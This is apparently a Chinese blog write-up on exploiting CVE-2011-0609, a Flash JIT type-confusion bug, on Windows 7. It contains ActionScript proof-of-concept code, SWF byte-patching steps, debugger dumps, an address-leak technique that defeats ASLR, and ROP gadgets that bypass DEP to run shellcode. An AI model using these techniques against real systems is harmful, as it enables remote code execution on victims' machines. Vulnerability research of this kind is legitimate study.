CVE-2011-0609漏洞利用记录,WIN7过DEP+ASLR
简介
JIT代码在解析三元运算过程中由于逻辑缺陷造成了对象混淆,具体地说,它可以用同一个属性或者方法生成一个有效字节代码并可以访问两个不同的对象。
调试环境和工具
Windows732CN,
flashplayer103r18114winaxdebug (调试),
Adobe® Flash® Player Installer/Uninstaller 10.1 r82(触发),
Windbg,FlashDevelop,FlashBuilder,Flash解压缩工具,Yogda,010Editor
漏洞触发
漏洞触发代码如下
package
{
import flash.external.ExternalInterface;
import flash.utils.*;
public class SearchJIT
{
public function nice():ByteArray
{
return new ByteArray();
}
public function SearchJIT()
{
var tttt:ByteArray = (1 == 0) ?nice() : (1 == 0) ? nice() : nice();
Var tttl:String=new String("AAAAAAAAAAAAAAA......")
tttl.length;
}
}
}
先用FlashDevelop编译然后导出realease版,名为1109.swf的swf格式文件,用flash解压缩工具将1109.swf文件解压为1109_1.swf,然后用Yogda打开,算出构造混淆所要跳过的字节数,经计算,需要将10 06 00 00改成10 11 00 00 如下图所示:
然后用010Editor打开修改10 06为10 11 修改过后如下图所示
这样一个数据混淆的swf文件就生成了,可以看出,获取length属性的代码已经单独成为一个模块了,在获取Sring 的length属性时候,验证机制没有进行严格检测将length属性强制转换成String,从而调用了ByteArray的length属性方法,导致读取数据出错。
用windbg加载出错代码为:
0688afb8 8b4808 mov ecx,dword ptr [eax+8]
0688afbb 8b89a0000000 mov ecx,dword ptr [ecx+0A0h]
0688afc1 8d55b8 lea edx,[ebp-48h]
0688afc4 8945b8 mov dword ptr [ebp-48h],eax
0688afc7 8b01 mov eax,dword ptr [ecx] ds:0023:41414141=????????
0688afc9 52 push edx
0688afca 6a00 push 0
0688afcc 51 push ecx
0688afcd ffd0 call eax
dd eax 可以看到String在内存中的数据结构
0:005> dd eax
05f02718 05caa618 40000002 05d84d20 00000000
05f02728 00000162 0000001a 05caa618 00000002
05f02738 05bfc230 00000000 00000004 00000002
05f02748 05caab68 00000002 05eeb080 05dd1ee0
05f02758 05ef6cd1 18000001 05caad58 00000002
05f02768 05efd040 05ef2e38 05f1a220 05e0ff58
05f02778 05caa618 00000003 05be6fd9 00000000
05f02788 00000003 00000012 05caa618 00000003
其中,[eax+8]存放着String字符串的指针,指向字符串存储的内容,[eax+10h]存放着字符串的长度,也就是length属性。
同样的道理,重新构造一个1109_2.swf文件,可以用String的方法来读ByteArray的length属性。代码如下:
package
{
import flash.display.Sprite;
import flash.utils.ByteArray;
import flash.external.ExternalInterface;
public class Main extends Sprite
{
public function bla():ByteArray
{
return new ByteArray();
}
public function Main()
{
var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
var t:String = new String("AAAAAAAAAAAAAAA......");
var zz:uint= t.length;
ExternalInterface.call('alert',zz.toString(16));
}
}
}
用ie加载1109_2.swf文件,这次没有报错,而是读出来了一个地址
用Windbg加载,然后 u 5d9dd78
0:007> u 5d9dd78
05d9dd78 f8 clc
05d9dd79 91 xchg eax,ecx
05d9dd7a b005 mov al,5
05d9dd7c 0000 add byte ptr [eax],al
很显然不是我们想要找的flash模块地址。
进行到这一步,再往下边分析,要成功混淆出来一个flash模块地址,首先要清楚ByteArray在内存中存放的数据结构了。
混淆利用分析
装上调试版本的flash:flashplayer103r18114winaxdebug (调试版),然后用FlashBuilder4.0新建AS3项目,代码如下:
然后进行调试,运行到第12行代码以后,看变量窗口
记录ByteArray地址为04be0f41 (flash模块中实际地址为04be0f40),用Windbg加载 dd 04be0f40
0:027> dd 4be0f40
04be0f40 048a40c8 00000003 059ba600 059bf6e8
04be0f50 04be0f58 00000044 048a4008 048a4000
04be0f60 048a4018 048a3ffc 047a9598 05993030
04be0f70 04b75810 05a12fe8 00000000 059c0000
04be0f80 00001000 00000004 00000029 00000000
04be0f90 048a3ff4 00000003 00000000 00000000
04be0fa0 0478d508 00000003 00000002 04be8450
04be0fb0 04c69f94 05a120a0 04c69f40 0000000e
如上图可以看到ByteArray在内存中的数据结构,+0X3C处059c0000为ByteArray数据存放地址指针,指向其存放的内容。00004为length属性,后边00000029(十进制为41)为position属性。
dd 059c0000 可以看到写入的0x41414141
0:027> dd 059c0000
059c0000 41414141 00000000 00000000 00000000
059c0010 00000000 00000000 00000000 00000000
尝试
既然ByteArray在内存中存放的数据结构不变,用String的length方法读不出来flash模块地址,那么是否可以自己构造一个函数,然后与ByteArray混淆呢?
ByteArray在内存中的结构
00000000: 048a40c8 00000003 059ba600 059bf6e8
00000010: 04be0f58 00000044 048a4008 048a4000
由上边可以看出,要获得048a4008(flash模块)这个地址,只需要我们构造一个函数,在相同的位置有一个length属性,然后用构造函数的方法来读取ByteArray的length,就能将想要的地址给读出来,构造函数形式如下
00000000: ???????? ???????? ???????? ????????
00000010: ???????? ???????? xxxxxxxx ????????
其中将xxxxxxxx这个地方设置一个length属性即可。
在FlashBuilder新建项目test,在项目中添加一个新的AS类,代码如下:
package Poc
{
public class People
{
public var a :uint = 0x41414141;
public var b :uint = 0x41414142
// public var length :uint = 0x41414143;
public var c :uint = 0x41414144
public var d :uint = 0x41414145;
public var e :uint = 0x41414146;
public var f :uint = 0x41414147;
public var g :uint = 0x41414148;
public var h :uint = 0x41414149;
public var i :uint = 0x4141414a;
public var j :uint = 0x4141414b;
public var k :uint = 0x4141414c;
public var l :uint = 0x4141414d;
public var m :uint = 0x4141414e;
public var n :uint = 0x4141414f;
public function People()
{
//
}
}
}
然后在主程序中调用这个类,代码如下:
进入调试模式,运行到第19行代码时,数据窗口显示出新定义的People地址
然后用windbg加载IE,dd 59ad040 查看自定义类在内存中的数据结构
0:023> dd 59ad040
059ad040 04a05050 00000003 05957fb8 059ab1f0
059ad050 41414141 41414142 41414143 41414144
059ad060 41414145 41414147 41414148 41414149
059ad070 4141414a 4141414b 4141414c 4141414d
059ad080 4141414e 4141414f 059ad0d0 00000000
059ad090 00000000 00000000 00000000 00000000
059ad0a0 00000000 00000000 00000000 00000000
059ad0b0 00000000 00000000 00000000 00000000
由上图可以看出,我们只需要将41414143的变量名c改为length,然后我们用我们构造的函数读取length的方法去读ByteArray的length,就可以读出来flash模块地址了。
将People类中注释去掉即可,然后到导出发行版本,用和前边同样的方法构造混淆的swf文件,将flash版本换成Adobe® Flash® Player Installer/Uninstaller 10.1 r82
,载于ie中运行,读出地址
用windbg加载IE,然后u 5b091f8
0:029> u 5b091f8
Flash10i!DllUnregisterServer+0x329825:
05b091f8 868e82050d81 xchg cl,byte ptr [esi-7EF2FA7Eh]
05b091fe 8205ca7c8205fc add byte ptr [Flash10i!DllUnregisterServer+0x482f7 (05827cca)],0FCh
成功读出了flash模块地址。
任意读地址
通过这种方法,基本可以实现读ByteArray中任意地址了,将上边的People类改成如下代码:
package Poc
{
public class People
{
public var a :uint = 0x41414141;
public var b :uint = 0x41414142;
public var c :uint = 0x41414143; //
public var d :uint = 0x41414144;
public var e :uint = 0x41414145;
public var f :uint = 0x41414146;
public var g :uint = 0x41414147; //
public var h :uint = 0x41414148;
public var i :uint = 0x41414149;
public var j :uint = 0x4141414a;
public var k :uint = 0x4141414b;
public var l :uint = 0x4141414c;
public var m :uint = 0x4141414d;
public var n :uint = 0x4141414e;
public var ...
public var ...
public function People()
{
}
}
}
编译进入调试模式,然后windbg加载Ie查看People类在内存中的数据结构,如下所示
0:021> dd 45d3080
045d3080 687d5050 00000003 0460a868 045f0550
045d3090 41414141 41414142 41414143 41414144
045d30a0 41414145 41414147 41414148 41414149
045d30b0 4141414a 4141414b 4141414c 4141414d
045d30c0 4141414e 4141414f 41414141 41414142
045d30d0 41414143 41414144 41414145 41414147
045d30e0 41414148 41414149 4141414a 4141414b
045d30f0 4141414c 4141414d 4141414e 4141414f
从偏移10h处开始,填充着我们构造的参数,只要我们在ByteArray偏移10h以后能找到任意一个flash模块地址,都可以通过构造函数混淆出来。
同理,在String结构中也存在很多的Flash模块地址,也可以用同样的方法去读String中的flash模块地址,用同样的方法都能够读出来,已测试成功。
Realease & Debug
实际应用中,自己构造的函数数据结构在realease版本和debug版本中略有差别
任意读地址的坑
通过上边的分析,我们构造一个People类,下边为利用测试代码
package
{
import Poc.*;
import flash.display.Sprite;
import flash.external.ExternalInterface;
import flash.utils.ByteArray;
public class test extends Sprite
{
public function people():People
{
return new People;
}
public function b():ByteArray
{
var ba:ByteArray = new ByteArray;
ba.writeUnsignedInt(0x41424344);
ba.writeUnsignedInt(0x45464748);
return ba;
//ExternalInterface.call('alert',0x41414141.toString(16));
}
public function test()
{
var a:People = (1 == 0) ? people() : (1 == 0) ? people() : people();
//var al:uint = a.length;
var t:ByteArray = b();
var zz:uint= t.length;
ExternalInterface.call('alert',zz.toString(16));
}
}
}
````
调试版本中,windbg看People在内存中数据结构如下:
0:023> dd 58c1060
058c1060 04665050 00000003 058f8868 058c0b98
058c1070 41414141 41414142 41414143 41414144
058c1080 41414145 41414146 41414147 41414148
058c1090 41414149 4141414a 4141414b 4141414c
058c10a0 4141414d 4141414e 4141414f 00000000
058c10b0 058c1100 00000000 00000000 00000000
058c10c0 00000000 00000000 00000000 00000000
058c10d0 00000000 00000000 00000000 00000000
“`
也就是说我们在数值为4141414c处的参数设置为length即可通过混淆或得ByteArray地址。
然后我们导出release版的swf文件,修改,载入ie,弹出的地址为:
Windbg加载,dd 5d091ec
0:033> dd 5d091ec
05d091ec 05a28590 05a27cfd 05a27edd 05a28e86
05d091fc 05a2810d 05a27cca fffffffc 0000000c
05d0920c fffffffc 00000014 00000000 05a28ea2
05d0921c 05a251f3 05c20770 05c20e50 05c20ee0
05d0922c 05a27f3b 05c20140 05a288ec 05c1ff80
05d0923c 05a27d30 05c1ff40 05c203e0 05a27fa8
05d0924c 05a2894d 05c20470 05a27ff2 05a27d0d
05d0925c 05a288cd 05c1ffc0 05c20650 05c207a0
很明显,并不是我们写进去的0x41424344,0x45464748.也就是说,我们读出来的并不是想得到的ByteArray地址!
填坑-任意读地址
我们构造的类在内存中数据结构是什么样子呢,我们在windbg搜一下我们构造函数的数据
s 0 l?7fffffff 41 41 41 46 41 41 41 47
061b2425 41 41 41 46 41 41 41 47-41 41 41 48 41 41 41 49 AAAFAAAGAAAHAAAI
我们看下内存061b2425附近的数据
如上图所示,构造函数的数据存放在061b2415-061b2451并不是按照顺序存放的。
我们读出来的地址是什么?
s 0 l?7fffffff ec 91 d0 05
020bc908 ec 91 d0 05 80 c9 0b 02-68 18 33 06 00 80 24 06 ........h.3...$.
05a28843 ec 91 d0 05 8b 40 04 c7-44 30 20 e4 91 d0 05 8b .....@..D0 .....
0623dd9c ec 91 d0 05 04 92 d0 05-08 00 00 00 00 00 00 00 ................
查看0623dd9c附近的数据
在05d091ec附近找到了06bbd000地址,形似ByteArray地址
上图表示,正是我们在ByteArray写入的数据,即06bbd000为ByteArray地址。
所以,我们看我们所读的地址-14h处即为ByteArray地址,对照着我们构造函数的数据,4141414c处所在的地址-14h处对应的数据为41414147,因此,将我们构造函数数据为41414147赋设为length即可。
将构造函数代码改为如下:
通过修改,成功混淆出ByteArray地址。
按照偏移得出自定义函数在release版本中数据结构。
06de6ffd b006def0 d006de70 0006de71 00000000
06de700d 02000000 00009000 00000000 30000000
06de701d 4606abdb 41004f00 42414141 43414141
06de702d 44414141 45414141 46414141 47414141
06de703d 48414141 49414141 4a414141 4b414141
06de704d 4c414141 4d414141 4e414141 4f414141
06de705d 41414141 42414142 43414142 44414142
06de706d 45414142 46414142 47414142 48414142
06de707d 49414142 4a414142 4b414142 4c414142
06de708d 4d414142 4e414142 4f414142 44414142
06de709d 48414243 70454647 6e006100 4e007900
06de70ad 00006100 73000000 2f737265 4c4c4544
在release版本中,如上图我们可控制的数据,我们能够读取的地址只能是从偏移28h处开始。
对照ByteArray结构
同时也证实了前边我们读取的41414143位置也并不是ByteArray数据结构中偏移18h处的地址,而是偏移2ch处的地址,而这个偏移处也刚好是一个flash模块地址!
总结
需要注意的是,在构造函数中定义的参数值一定不能重复,不然release版本会进行优化,数据个数会减少。
经过多次尝试,在realease版本中我们构造的函数数据在内存中存放的地址是连续的,但是数据存放顺序会被打乱,ByteArray在realease版本中数据结构并没有改变,因此,我们依然可以用这种方法读取任意想得到的地址。
完整的漏洞利用
要成功利用这个漏洞,要清楚以下三个问题
- 如何控制程序流程
- 如何过ASRL和DEP
- 如何执行shellcode
控制流程
控制程序流程比较容易想到,通过出发漏洞的源码和异常出错的汇编代码,可以看出,只要在String适当的偏移处将AAAA改为我们想控制的地址,就可以控制程序的流程了。
触发漏洞代码
异常汇编代码
如上图所示,[eax+8]
存放着String字符串的内容地址,即[ecx+0A0h]=String[0A0h]
(写法仅方便阅读),也就是说我们在String[0A0h]
处存放着我们想要控制的地址指针,然后在下边的call eax之后就进入我们的控制之中了。
突破DEP+ASLR
通过上次混淆出来的flash模块地址,可以轻松绕过ASRL;
突破DEP的法是通过构造一个ROP链来实现,这个也是该漏洞利用的一个难点,代码的编写花费的时间最多,需要一些技巧和运气。
执行shellcode
如何执行shellcode,首先我们将shellcode写入内存是不可执行的,因此我们要调用virtualprotect函数将地址改为可执行属性,virtualprotect函数可以通过flash模块地址和偏移地址定位。
完整的利用过程
首先我们先定义一个ByteArray,然后将shellcode写进去,然后通过混淆得到ByteArray的地址,也就是shellcode的地址ScAddr。
然后我们构造Rop链,Rop链需要完成的功能有三个,先是控制esp,然后是通过调用virtualprotect函数将shellcode代码段内存改为可执行属性,最后要实现的功能是跳入shellcode。通过混淆得到Rop链地址RopAddr。
最后,我们将Rop链的地址ScAddr写在String[0A0h]处,通过混淆出发漏洞,然后得到控制权,去实现Rop链中的功能,最后成功执行shellcode。
在整个过程中,在往ByteArray中写数据时候要注意大小字节序,Flash默认是大字节序列。
控制esp
在Rop链的一开始,肯定是要先得到esp的控制权,需要我们在flash模块里边找到一条xchg eax,esp;ret代码。代码很容易找到,但是发现即使执行了依然控制不了esp,原因是我们在控制流程的语句call eax时候,eax的值已经不是Rop链的地址了,而是Rop链中我们得到esp控制权的代码的地址,形似[RopAddr],也就是说,我们执行完xchg eax,esp;ret代码之后,就失去了程序的控制权,这个问题也困扰了好久。
我们再回过头来看控制代码
0688afb8 8b4808 mov ecx,dword ptr [eax+8]
0688afbb 8b89a0000000 mov ecx,dword ptr [ecx+0A0h]
0688afc1 8d55b8 lea edx,[ebp-48h]
0688afc4 8945b8 mov dword ptr [ebp-48h],eax
0688afc7 8b01 mov eax,dword ptr [ecx] ds:0023:41414141=????????
0688afc9 52 push edx
0688afca 6a00 push 0
0688afcc 51 push ecx
0688afcd ffd0 call eax //获得控制权
我们发现,程序获得控制权是先将RopAddr的传送给ecx,然后将[ecx]
赋值给eax,然后才是我们控制esp的代码call eax,
因此,ecx始终等于RopAddr,既然eax不能用,完全可以用xchg ecx,esp;ret
接着分析,只执行xchg ecx,esp;ret还是不够的,我们要执行下一条代码,需要在xchg ecx,esp之后将esp+4,然后是ret才能成功跳进吓一跳代码中。在flash模块中并没有找到理想的代码形如
xchg ecx,esp
add esp,xx
ret
既然xchg指令不能用,换个方式,形如
mov esp,ecx
add esp,xx
ret
或者
push ecx
pop esp
add esp,xx
ret
最后,在flash模块中找到如下可用代码:
057d5fe1 51 push ecx
057d5fe2 5c pop esp
057d5fe3 8b889c000000 mov ecx,dword ptr [eax+9Ch]
057d5fe9 52 push edx
057d5fea 51 push ecx
057d5feb e860c2fcff call Flash10i+0xb2250 (057a2250) //不影响esp
057d5ff0 83c410 add esp,10h
057d5ff3 c3 ret
通过flash模块地址和偏移,算得代码地址,记作 addxchgecx_esp
修改内存属性
在控制esp之后,就开始实现virtualprotect函数的功能,将我们的shellcode所在的内存属性变为可执行。通过ida加载flash10i.oxc得到virtualprotect函数偏移,再根据flash模块地址算出virtualprotect函数地址Add_virtualprotect。Vritualprotect函数代码如下:
683ecee2 51 push ecx
683ecee3 55 push ebp
683ecee4 56 push esi
683ecee5 57 push edi
683ecee6 ff157c534b68 call dword ptr [Flash10i!DllUnregisterServer+0x3059a9 (684b537c)] //call virtualprotect
683eceec 03fe add edi,esi
683eceee 2bde sub ebx,esi
683ecef0 7404 je Flash10i!DllUnregisterServer+0x23d523 (683ecef6)
683ecef2 85c0 test eax,eax
683ecef4 75d0 jne Flash10i!DllUnregisterServer+0x23d4f3 (683ecec6)
683ecef6 5f pop edi
683ecef7 5e pop esi
683ecef8 5d pop ebp
683ecef9 5b pop ebx
683ecefa 83c420 add esp,20h
683ecefd c3 ret
通过代码可以看出,在调用函数成功后,eax肯定为非0,那么程序在执行test eax,eax之后肯定就跳走失去了控制权。
解决方法:我们直接跳入virtualprotect函数去实现我们的功能,然后构造我们的返回地址和参数,而不是通过call来调用,因此,我们在这一步先将virtualprotect函数地址放入[esp+4]
,在esp处我们存放形如下代码的地址,
mov eax,[esp+4]
add esp,xx //跳过virtualprotect函数地址
ret
然后ret之后esp存放着jmp [eax]
地址([eax]形似[684b537c],684b537c为上边Vritualprotect函数代码部分),然后就可以顺利的执行了,最后分别在flash模块中找到可用代码。
地址Addmoveax_esp
05771008 8b0424 mov eax,dword ptr [esp]
0577100b 59 pop ecx
0577100c c3 ret
地址Addjmpeax
56f768f ff20 jmp dword ptr [eax]
当然,解决这个问题方法不止一种,可以在这之前重新设置标志位,这样test eax,eax之前让它跳走就可以了。
综上,构造的Rop链结构如下所示:
执行shellcode
通过上边的分析,利用构造的Rop链就可以顺利执行shellcode了,如弹出计算器。
没有评论:
发表评论